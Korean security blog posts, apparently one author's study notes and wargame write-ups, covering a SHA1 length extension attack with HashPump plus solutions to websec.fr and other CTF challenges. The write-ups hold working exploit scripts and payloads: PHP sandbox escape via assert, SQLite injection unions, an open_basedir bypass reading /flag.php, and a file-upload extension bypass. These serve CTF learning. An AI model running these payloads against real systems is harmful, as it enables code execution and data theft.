DES,AES Encrypt,Decrypt Code

2019. 9. 5. 00:23

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

1. 개요

Stypr challenge의 eagle jump 풀다가 배웠던 기법인데, 웹쪽보다는 크립토인데 이게 웹이랑 연계되서 사용되는 경우도 은근 있어서 이참에 한번 정리해봤다. 해당 기법은 대충 어떻게 동작하는지에 대한 원리정도랑 해당 원리에 대한 이해를 기반으로 페이로드 생성해주는 HashPump 사용해서 실제 공격까지는 가능한 선으로만 이해하고 있고 실제로 로우레벨에서 페딩이 포함된 실제 페이로드 및 해당 공격을 통해 생성한 해쉬값 만들기를 직접 할 정도로 완벽하게 이해는 못한 상태이다. 그 이유는 암호학에 대한 근본적인 이해가 많이 없어서 라고 느꼈고 이걸 계기로 암호학도 조금씩 공부해둬야 겠다는 생각이 들었다.


2. 동작원리


동작원리와 같은 경우 그냥 내가 이해한 대로 그냥 부담없이 적어내려가는 형식으로 작성하겠다.


먼저 해당 기법과 같은 경우 공격 이름 그대로 길이를 확장해서 공격한다는 뜻이다. 이게 뭔 소리냐면 어떤 해쉬 값을 생성할 때 원본 텍스트에 패딩이라는 값을 추가하여 뭔짓을 하다보니 원본 텍스트의 길이가 늘어냐면서 이런 이름이 붙었다고 볼 수 있다. 해당 공격은 또 다른 말로 sha1,md5 padding attack 정도로도 불리곤 한다.


자 그럼 해당 공격이 뭔진 정확히 모르겠지만 대충 어떠한 상황에서 필요한지 알기 위해 아래 코드를 보자.


source.php


<?php

error_reporting(E_ALL);

ini_set("display_errors",0);


include("config.php");

if (isset($_GET['id'])){

    if (sha1(SECRET+$_GET['id'])===$_GET['hash']){

        if (strpos($_GET['id'],"admin")!==false){

            echo "Hi admin!! You Success";

        }

        else{

            echo "You not admin!! Bye Bye.";

        }

    }

    else{

        echo "You Bad Hash!!";

    }   

}

else{

    echo (string)sha1(SECRET+"guest");

}


자 코드를 보면 뭘해야 될지 느낄 수 있을 것이다. 딱봐도 id값에 admin을 주고 id가 admin일 때 sha1값을 구해서 보내주면 되는데, 문제는 sha1 생성 시 salt값이 추가되고 있고 우리는 salt값을 모른다는 거다. 문제에선 id가 guest일때의 salt가 포함된 sha1만 만들어주기 떄문에 우리는 이 로직을 우회하려면 일반적으로 salt+guest를 통해 생성된 해쉬를 대상으로 salt를 크랙하는 수밖에 없다.


근데 이러한 상황에서 우리는 바로 지금 우리가 다루는 length extension attack을 통해 해당 로직을 우회할 수 있다.


엄청나지 않은가?


아직 뭔진 모르지만 이러한 공격이 가능해진다는것만으로도 해당 기법을 이해하는데 큰 의미가 생길 것이다. 자 그럼 이제 본격적으로 해당 공격의 원리 및 익스 방법에 대해 알아보자.


해당 공격을 이해하기 위해선 우선 md5,sha1,sha2 류가 인풋을 받아서 해쉬처리를 할 때 어떠한 방식으로 동작하는지에 대해 알 필요가 있다.


이는 아래 사진을 보고 이해해보도록 하자.





해당 방식은 md5,sha1,sha2류가 해쉬를 만들 때 사용하는 방식으로 그림을 보면 알 수 있듯이 인풋의 첫번째 블록(M1)과 IV(H0)를 통해 압축과정을 거쳐 첫번째 해쉬 값을 만든다. 그 다음 해당 해쉬를  다시 IV삼아 두번째 인풋블록과 압축과정을 거치고, 이러한 과정을 인풋의 전체 블록을 대상으로 진행해 최종 해쉬값을 만든다.


그럼 이제 우리가 생각할건 인풋을 블록별로 나눌 때 당연히 인풋이 블록 배수로 딱 나누어 떨어지지 않을거니까 패딩이 붙을거라는 걸 생각해야 한다.


예를 들면 이런 형태다.


input : guest

m1 = salt + guest + padding

result hash = 40bd001563085fc35165329ea1ff5c5ecbdbbeef (예시로 임의로 쓴 해쉬)


위 상황에서 만약 우리가 input을 아래와 같이 준다면 어떻게 될까?


input : guest+padding ( padding은 정확히 block size 만큼)

m1 = salt + guest + padding

result hash = 40bd001563085fc35165329ea1ff5c5ecbdbbeef


럭키..


이를 통해 우리는 뭘 할 수 있을까?


input : guest+padding + admin

m1 = salt + guest + padding+admin

result hash = 7110eda4d09e062aa5e4a390b0a572ac0d2c0220


이게 뭘까? 잘 한번 생각해보자. 인풋이 salt랑 합쳐져서 salt + guest + padding+admin 가 됬을 때 블록단위로 나누면 


1블록 : salt + guest + padding

2블록 : admin+padding


이렇게 될꺼다.


여기서 1블록 결과는 우리가 알고 있는 40bd001563085fc35165329ea1ff5c5ecbdbbeef 요 값일 거고 최종해쉬를 생성하기위해 2번째 블록 admin+padding은 1블록 결과 40bd001563085fc35165329ea1ff5c5ecbdbbeef를 iv로해서 압축과정을 거쳐 최종 해쉬 7110eda4d09e062aa5e4a390b0a572ac0d2c0220를 만드는 거다.


그럼 결국 우리는 salt를 모르지만 기존 값(guest)에 추가적으로 내가 원하는 값(admin)을 삽입했을 때의 hash를 알 수 있다. 


그럼 이제 우리가 해야할 일은 guest+padding+admin을 줄 때 이 padding값을 어떻게 줘야하는지다.


md5,sha1,sha2류에서 쓰는 padding은 아래와 같은 형태로 구성된다.


salt+guest+1 000 0000 .... 0000 0000 + 해당 블록의 패딩을 제외한 값(salt+guest)의 비트 크기(만약 3글자 즉 3byte면 24 비트고 \x18로 표현됨)


위의 패딩부분에서 바로 나오는 1,0부분은 비트를 표현한거임. 구조가 인풋 다음 패딩 맨처음의 1비트는 1로 표현되서 1000 0000 = \x80으로 고정. 그담은 남은 크기만큼 0비트로 쭉 채워지니 \x00쭉가다가 마지막에 salt+input의 비트 크기로 마무리.


ex)

salt = "secret"

input = "guest"

위 놈들로 패딩을 채운다고 생각하면 아래처럼 될 것이다.

guest+"\x80"+"\00"*(64-len(input+salt)+2)+"\x58"


guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\58


굿... 간단하게 키좀긴걸로 하나더.



salt = 55글자 키

input = "guest"


guest+"\x80"+"\00"*(64-len(input+salt)+3)+"\x01\xe0"

guest\x80\x00\x01\xe0 가 나와야 할것 같은데


guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe0


요게 나와버림. 아마 인풋 마지막 부분이 패딩인지 원본 값인지 몰라서 oracle padding처럼 어떻게 돌아가는거 같은데 이부분은 따로 관련 내용을 못봐서 몰게따. 쨋든 대충 이렇게 돌아가는거 아니까 걍 hashpump 쓰면 될 듯.


자 그럼 최초 문제로 돌아와서 


source.php


<?php

error_reporting(E_ALL);

ini_set("display_errors",0);


include("config.php");

if (isset($_GET['id'])){

    if (sha1(SECRET+$_GET['id'])===$_GET['hash']){

        if (strpos($_GET['id'],"admin")!==false){

            echo "Hi admin!! You Success";

        }

        else{

            echo "You not admin!! Bye Bye.";

        }

    }

    else{

        echo "You Bad Hash!!";

    }   

}

else{

    echo (string)sha1(SECRET+"guest");

}

이거 우회하는 코드 만들어보자.


여기서 중요한게 우리가 패딩을 만들려면 원본 키 길이를 알아야 한다. 키 길이 알아내는 방법은 어쩔수 없다. 가정하고 브포때리는거다.

대충 키 길이 1~64까지 가정해서 페이로드 만들고, 모든 페이로드를 날렸을때 정상적으로 인증 통과하는 값이 있으면 그게 키 길이고, 해당 페이로드를 사용해주면 된다.


여기서는 키 값이 8이라고 가정하고 페이로드를 만들어보자.


hashpump 사용해도되고 그냥 만들어도 되는데 그냥 만들어보자.


guest+"\x80"+"\x00"*(64-len(8+5)-2)+"\x68"+"admin"


hashpump 버전

hashpump -s '87c85771298bb84ae2703eb34eeeeac91f11f502' --data 'guest' -a 'admin' -k 8

2d3c477a9c38ba0dc9378b106975ad52139663b7


guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68admin


굿잡.


대응방법 및 한계


만약 salt가 input 앞이 아닌 뒤쪽에 들어간다면?


input+salt+padding


이게 원래 구조일텐데


input+padding+salt ???? 내가 입력한 패딩을 포함한 인풋이 원래 블록에 들어가는 패딩 구조와 일치 할 수가 없음. 


즉 

salt + input + padding  요 구조일 때만 내가 인풋이랑 뒤에 padding을 넣어도 원래 패딩처리했을 때 값과 같으므로 이 공격할려면 해당 구조를 띄워야함.


또한 만약 salt+input+padding 구조여도 해쉬를 더블 해쉬 처리하면 공격이 불가능함. 이러한 형태를 띈 함수가 대표적으로 HMAC.


왜 이게 안되는지 생각해보면. 우리가 알고 있는 (hmac으로 생성됬다고 가정) 해쉬 값은 내가 넣은 인풋을 해쉬처리한 후 다시 해쉬처리해서 생성된 해쉬 값이다. 즉 내가 알고있는 결과 해쉬 값을 단순 sha1의 결과물이라고 생각하면 이놈의 원본 값은 내 인풋,솔트,패딩을 더한값이 아닌 이 놈들을 토대로 생성된 해쉬 값이 원본이란 거다. 그러므로 뭔가 막상 안되는거 구조적으로 엮어서 나열하면 헷갈리는데 딱 느낌올거다 구조적으로 안되는 상황인게. 쨋든 이놈은 딱 salt+input 상황에서 md5,sha1,sha2류의 해쉬함수를 더블해쉬아니고 한번만 해쉬처리할때 사용 가능하다.
























 











'Crypto & Network & Etc > Study' 카테고리의 다른 글

Substitution Cipher  (0) 2019.11.07
Block Cipher ECB Mode PlainText Leak  (0) 2019.09.05
ISMS 심사기준  (0) 2019.04.12
ISMS(Information Security Management System)  (0) 2019.04.11
Base64 원리  (0) 2018.12.31
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

인풋을 통해 생성된 값이랑 임의의 값을 비교한다. 이 때 두 값이 같아야 한다. 인풋을 통해 생성된 값은 인풋*0x1000을 통해 생성된다. 비교대상 값같은 경우 timestamp값을 통해 생성된 값이다.


이 때 timestamp의 소수점 하위 4번째까지 계산되는데 정수부분은 인풋 * 0x1000로 계산하면 결과 값이 딱 떨어졌는데 소수점 부분은 *0x1000했을때 결과 값에 오차가 있었다. 그래서 대충 최대한 오차범위 줄여서 반복요청해주니 플래그가 나왔다.


exploit.py


import time

import requests


def exploit():

    url = "http://chall.tasteless.eu/level12/lucky.php"

    param = {"emit":time.time()-5.071}

    result = requests.get(url,params=param).text

    if "flag is" in result:

        print result

        exit()

    return result.replace("<br />VAR b is ",",").replace("<br />","").replace("VAR a is ","").split(",")


for i in range(0,1000):

    result = exploit()

    tmp =  int("0x"+result[0],16)-int("0x"+result[1],16)

    print tmp

    if tmp==0:

        print "find count = " + str(i)

        break


블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<html>
<head>
<title>In My Dreams</title>
</head>
<body>
<p>Here is the <a href='index2.html'>source</a>!</p>
</body>
</html>
<?php
//hi all! you may ask what to do here? its simple, just have a nice walk through these lines, then just call w_() 
//and its done 
$_k = @$_GET['magic']; //put the magic byte here :)
$_u=create_function('$_a_','foreach($_a_ as $_=>$__){$a[$_]=$__;}return @array_splice($a,1);'); 
$_u=@call_user_func($_u,@$_GET['argv']);function w_(){print'Good job! flag: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';}$_f=chr(112).chr(114).__CLASS__."\x65"."\x67"."_"
$_function=create_function('$___,$_,$__','return(strcmp((($_^$__)|$___),123)==0)?1:0;'); 
((int)
$_function((int)$_u[0],(int)$_u[1],(int)$_u[2])>0)?0:printf("%s",die()); 
$__=cosh;$___=$__[asinh(_)];$_t="\x31";$___.=$__[$_t+$_t+$_t];$___.=$__[$_t];$___++;$___++;$___++; 
$_f.=substr(str_repeat("\x72",11),-3,1)."e";$_f_=metaphone(crc32(__DIR__).preg_replace("%^=(\?):*?[\sa-z*]*{\$}*?.[^\D]{1,}(\w|\s)$%sUi","${2}1,$1",crc32(__FILE__))); 
@
$_a.=__METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";
$_f.="ac"."\x65";@$_f("%.".$_a."%ixs","(string)$_u[3]()",' ');


인풋으로 magic이랑 argv 두개를 받는다. 

일단 먼저 argv[1],argv[2],argv[3] 값으로 return(strcmp((($_^$__)|$___),123)==0)?1:0; 요부분 리턴 1나오게 값 세팅해 주면 된다.


그다음 argv[4]는 @$_f("%.".$_a."%ixs","(string)$_u[3]()",' '); 요기 두번째 인자 영역에 들어가는데 $_f은 preg_replace 문자열이기때문에 argv[4]에 w_를 세팅해주고 패턴영역에 e modifier를 insert해주면 php code 실행을 통해 w_함수를 사용할 수 있다.


그럼 이제 $_a 요 값이 어떤식으로 세팅되는지 보면 되는데 __METHOD__."\x25".$___(@0+"@${$_t}"+~$_k+1*(5*20))."\x0";$_f.="pl";

요 코드를 통해 "%".연산결과."\x0" 이런식으로 세팅되는걸 볼 수 있다. 연산결과는 magic 파라미터 값을 통해 특정 연산들을 거쳐서 세팅되는데 이 값이 만약 e가되면 %e\x00꼴로되서 php code가 실행될 거라 생각했다.


주석 중에 //put the magic byte here :) 요런게 있어서 그냥 magic값에 00~ff까지 브포 돌리니까 플래그를 뿌려주는 byte가 존재했다.

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<html>

<head>

<title>Extensions?</title>

</head>

<body>

<p>source code: <a href="./index.php~">index.php~</a></p>

<br/>

<form action="index.php" method="post" enctype="multipart/form-data">

<label for="file">Filename:</label>

<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="Submit">

</form>

<br />

<?php

error_reporting(0);


$output = array ();

$errors = array ();

$savePath = "upload";


if (isset ( $_FILES ['file'] ) && $_FILES ["file"] ["error"] == UPLOAD_ERR_OK) {


    $fileName = $_FILES ['file'] ['name'];

    $fileSize = $_FILES ['file'] ['size'];

    $fileTemp = $_FILES ['file'] ['tmp_name'];

    $fileType = $_FILES["file"]["type"] ;

    $fileExt = pathinfo ( $fileName, PATHINFO_EXTENSION );

    $fileExt = strtolower ( $fileExt );


    if (preg_match("/php$/i", $fileExt)) {

        $errors [] = "Invalid File Extention";

    }

    if ($fileSize > 800*1024) {

        $errors [] = "File Too large";

    }

    if (! is_writable ( $savePath )) {

        $errors [] = "File Destination not writeable";

    }


    $fileDst = $savePath . DIRECTORY_SEPARATOR . $fileName;

    $filePrifix = basename ( $fileName, "." . $fileExt );



    if(file_exists($fileDst)) {

$errors [] = "Filename exists";

    }



    if (count ( $errors ) == 0) {

        if (@move_uploaded_file ( $fileTemp, $fileDst )) {

            $output['Destination'] = $fileDst;

        } else {

            $errors [] = "Error Saving File";

        }

    }


    if(count($errors) > 0)

    {

        echo "<h2>Upload Error</h2>" ;

        foreach ($errors as $error){

            echo $error , "<br/>" ;

        }

    }else{

        echo "<h2>File  Uploaded</h2>" ;

        foreach ($output as $key => $value){

            echo $key . ": <a href=\"./$value\">" .$value , "</a><br/>" ;

        }

   }

}

?>

</body>

</html>


확장자가 php인지만 검증한다. 그냥 실행가능한 다른 확장자 찾아주면 된다.



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

canhack.me babyphp

2019. 8. 31. 02:49

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

source.php


<?php 
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL E_DEPRECATED);

if (isset (
$_POST['code']) && is_string ($_POST['code'])) {
    
$code substr ($_POST['code'], 025);
} else {
    
$code "print('I hate PHP');";
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level14</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <link rel="stylesheet" href="../static/websec.css" />
</head>
<!-- Thanks to an anonymous contributor for this level. -->
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>Level Fourteen <small>- Securely Execute Code</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                        Don't you love these online PHP executing services like <a href="https://3v4l.org">3v4l.org</a>?<br>
                        Unfortunately they're insecure as hell, so we made <a href="source.php">our own</a>
                        where we only allow <mark>echo</mark>, <mark>print</mark>, <mark>strlen</mark>, <mark>strcmp</mark>, <mark>strncmp</mark>.<br>
                        Oh and you're limited to <code>25</code> chars only. Try it out!
                    </p>
                    <!-- If I had to guess, I would say that the $flag is in sha1($flag). -->
                </div>
            </div>
            <div class="container">
                <div class="row">
                    <form method="post" class="form-inline">
                        <div class="form-group">
                            <label for="code">Code:</label>
                            <input type="text" class="form-control" id="code" name="code" value="<?php echo htmlspecialchars ($code);?>" required maxlength=25>
                        </div>
                        <button type="submit" class="btn btn-default">Execute!</button>
                    </form>
                </div>
                <div class="row">
<br>
<pre>
<?php

$funcs_internal 
get_defined_functions()['internal'];

/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen'$funcs_internal)]);
unset (
$funcs_internal[array_search('print'$funcs_internal)]);
unset (
$funcs_internal[array_search('strcmp'$funcs_internal)]);
unset (
$funcs_internal[array_search('strncmp'$funcs_internal)]);

$funcs_extra = array ('eval''include''require''function');
$funny_chars = array ('\.''\+''-''\*''"''`''\[''\]');
$variables = array ('_GET''_POST''_COOKIE''_REQUEST''_SERVER''_FILES''_ENV''HTTP_ENV_VARS''_SESSION''GLOBALS');

$blacklist array_merge($funcs_internal$funcs_extra$funny_chars$variables);

$insecure false;
foreach (
$blacklist as $blacklisted) {
    if (
preg_match ('/' $blacklisted '/im'$code)) {
        
$insecure true;
        break;
    }
}

if (
$insecure) {
    echo 
'Insecure code detected!';
} else {
    eval (
$code);
}

?>
</pre>
            </div>
        </div>
</div>
</body>
</html>


php sandbox류인데 필터길이가 25자로 상당히 짧다. 이것저것해봤는데 ${_GET}{0}(${_GET}{0}); 요게 길이가 딱 맞아서 이거사용해줬다. _GET부분분 not 연산시켜주면 되고 이걸로 assert써서 플래그 파일명 따서 코드 읽어주면 된다.


exploit.py


import requests


def exploit(payload,func,param):

    url = "https://websec.fr/level14/index.php?0="+func+"&1="+param

    data = {"code":payload}

    result = requests.post(url,data=data).text

    print result



payload = "${~\xA0\xB8\xBA\xAB}{0}(${~\xA0\xB8\xBA\xAB}{1});"

func = "assert"

param = "var_dump(scandir('.'))"

exploit(payload,func,param) 


param = "var_dump(file_get_contents('0e7efcd6e821f4bb90af4e4c439001944c1769da.php'))"

exploit(payload,func,param)



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 07  (0) 2019.08.23
websec.fr medium level 31  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<!--
    Greetz to bui for finding a neat bypass that is now fixed :)
    Sorry Mantis for killing your attempts :D
-->

<?php
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL);

function 
sanitize($str) {
    
/* Rock-solid ! */
    
$special1 = ["!""\"""#""$""%""&""'""+""-"];
    
$special2 = [".""/",  ":"";""<""="">""?""@"];
    
$special3 = ["[""]""^""_""`""\\""|""{""}"];

    
$sql = ["or""is""like""glob""join""0""limit""char"];

    
$blacklist array_merge($special1$special2$special3$sql);

    foreach (
$blacklist as $value) {
        if (
stripos ($str$value) !== false)
            die (
"Presence of '" $value "' detected: abort, abort, abort!\n");
    }
}

if (isset (
$_POST['submit']) && isset ($_POST['user_id'])) {
    
$injection $_POST['user_id'];
    
$pdo = new SQLite3 ('database.db'SQLITE3_OPEN_READONLY);

    
sanitize ($injection);

    
//$query = 'SELECT id,login,password FROM users WHERE id=' . $injection;
    
$query 'SELECT id,login FROM users WHERE id=' $injection;
    
$getUsers $pdo->query ($query);
    
$users $getUsers->fetchArray (SQLITE3_ASSOC);

    
$userDetails false;
    if (
$users) {
        
$userDetails $users;
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Seven</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelSeven <small> - Select the user by ID you wish to view</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                        This application is used to view the username by the given user ID, it will return the corresponding username from the database. 
                       To prevent sql injections, it uses a <em>super-efficient-blacklist-based</em> filter, check it <a href="./source.php">here</a>.<br>
                       Thanks to <a href="https://twitter.com/_cutz">cutz</a> for the idea.
                    </p>
                </div>
            </div>
            <div class="container">
                <?php if (isset ($userDetails) && !empty ($userDetails)): ?>
                    <div class="row">
                        <p class="well"><strong>Username for given ID</strong>: <?php echo $userDetails['login']; ?> </p>
                        <p class="well"><strong>Other User Details</strong>: <br />
                            <?php 
                            $keys 
array_keys ($userDetails);
                            
$i 0;

                            foreach (
$userDetails as $user) { 
                                echo 
$keys[$i++] . ' -> ' $user "<br>";
                            } 
                            
?> 
                        </p>
                    </div>
                <?php endif; ?>

                <div class="row">
                    <label for="user_id">Enter the user ID:</label>
                    <form name="username" method="post">
                        <div class="form-group col-md-2">
                            <input type="text" class="form-control" id="user_id" name="user_id" value="1" required>
                        </div>
                        <div class="col-md-2">
                            <input type="submit" class="form-control btn btn-default" placeholder="Submit!" name="submit">
                        </div>
                    </form>
                </div>
            </div>
        </div>
        <script type="text/javascript" src="../static/bootstrap.min.js"></script>
    </body>
</html>


id가 1번인 계정의 password 컬럼 값 뽑아오면 된다. as 필터때문에 password 컬럼명을 못쓰는 부분이랑 id조건 주는 부분만 우회해주면된다 . max랑 between 두가지 방법으로 우회가 가능하다.


payload


1)

999 union select id,login from (select 99 id,2,3 login union select * from users) a where id between 1 and 1


2)

999 union select max(id),login from (select 99,2 id,3 login union select * from users) a


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 14  (0) 2019.08.23
websec.fr medium level 31  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


 <?php
ini_set
('open_basedir''/sandbox');
chdir('/sandbox');

ini_set('display_errors''on');
ini_set('error_reporting'E_ALL);

if (isset (
$_GET['c'])) {
    die (eval (
$_GET['c']));
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <title>#WebSec Level Thirty-one</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>Level Thirty-one <small>- Since web browsers have sandboxes, why not php too?</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                                        Can you read the <code>./flag.php</code> file?
                    You can take a look at the the source code <a href="source.php">here</a>.
                </p>
            </div>
        </div>
        <div class="container">
            <div class="row">
                <form action="" method="get" class="form-inline">
                    <label class="sr-only" for="c">Your text to store.</label>
                    <input type="text" id="c" class='form-control' name="c" size=96 placeholder="Your command.">
                    <button type="submit" value="Submit" name="submit" class="btn btn-default">execute</button>
                </form>
            </div>    
        </div>
    </div>
</body>
</html>


대놓고 open_basedir bypass해보라고 코드짜논걸 볼 수 있다. phpino()로 버전 확인해보면 7.2.9 버전으로 나름 최근 버전이라 올해 초에 돌았던 lastests open_basedir trick으로 bypass해주면 된다. 이 때 mkdir이 권한때문에 안먹히는데 sandbox 디렉토리에 기본적으로 tmp 디렉토리를 만들어놨길래 이거 사용했다.


exploit.py


import requests


def exploit(payload):

    url = "https://websec.fr/level31/index.php"

    params = {"c":payload,"submit":"Submit"}

    result = requests.get(url,params=params).text

    print result


payload = """

ini_set('open_basedir','/sandbox');

chdir('./tmp');

ini_set('open_basedir','..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

ini_set('open_basedir','/');

var_dump(file_get_contents('/flag.php'));

"""


exploit(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr hard level 14  (0) 2019.08.23
websec.fr hard level 07  (0) 2019.08.23
websec.fr medium level 18  (0) 2019.08.23
websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
블로그 이미지

JeonYoungSin

메모 기록용 공간

,